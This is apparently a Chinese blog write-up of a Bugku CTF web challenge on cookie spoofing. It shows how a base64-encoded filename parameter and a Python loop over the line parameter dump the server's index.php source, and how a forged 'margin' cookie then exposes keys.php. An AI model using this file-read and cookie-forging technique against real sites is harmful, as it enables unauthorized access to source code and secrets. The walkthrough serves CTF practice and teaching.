天天看點

Bugkuctf web cookie欺騙

題目連結

又有新東西啦

打開

Bugkuctf web cookie欺騙

發現沒啥用,檢視源碼也沒什麼

注意到URL上有一串類似base64編碼的東西

解碼

Bugkuctf web cookie欺騙

習慣性通路一下

Bugkuctf web cookie欺騙
Bugkuctf web cookie欺騙

那下面又該咋辦呢???

URL裡filename有參數,line沒有參數

要不試一試價格參數?

line=1,啥都沒有

注意到filename 的參數是base64編碼後的

那再把1,2,3編碼一波試試?

Bugkuctf web cookie欺騙

又回去了啥都沒有。。。

懵逼中。。。

Bugkuctf web cookie欺騙

看了一下别人的writeup

注意到一個邏輯

php解析的時候 line 表示的是行号,filename是對于檔案内容的讀取,是以,直接構造一個邏輯沖突,讓filename去讀自己即讀index.php

還是要編碼一下,畢竟filename都是編碼了的

于是

Bugkuctf web cookie欺騙

顯然随着line行數變化,代碼也出來了

這裡有兩種方式

第一種自己一次輸入行号,然後copy出來

第二種是用python寫個小腳本出來,就個人而言,選擇第二種好一些吧

附上腳本

import requests
a=30
for i in range(a):
    url="http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw" 
    r=requests.get(url)
    print (r.text)
           

找到的代碼

<?php
 
error_reporting(0);
 
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
 
$line=isset($_GET['line'])?intval($_GET['line']):0;
 
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
 
$file_list = array(
 
'0' =>'keys.txt',
 
'1' =>'index.php',
 
);
 
 
 
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){      
 
$file_list[2]='keys.php';
 
}
//看看這個地方!!!
 
 
 
if(in_array($file, $file_list)){
 
$fa = file($file);
 
echo $fa[$line];
 
}
 
?>

           

代碼相關函數

?是條件語句

intval()

函數用于擷取變量的整數值

header()

函數向用戶端發送原始的 HTTP 報頭。這裡是跳轉到一個新位址

array()

建立一個新數組

file()

把檔案讀入數組

接下來構造

filename=a2V5cy5waHA=

Cookie:margin=margin

就行啦

Bugkuctf web cookie欺騙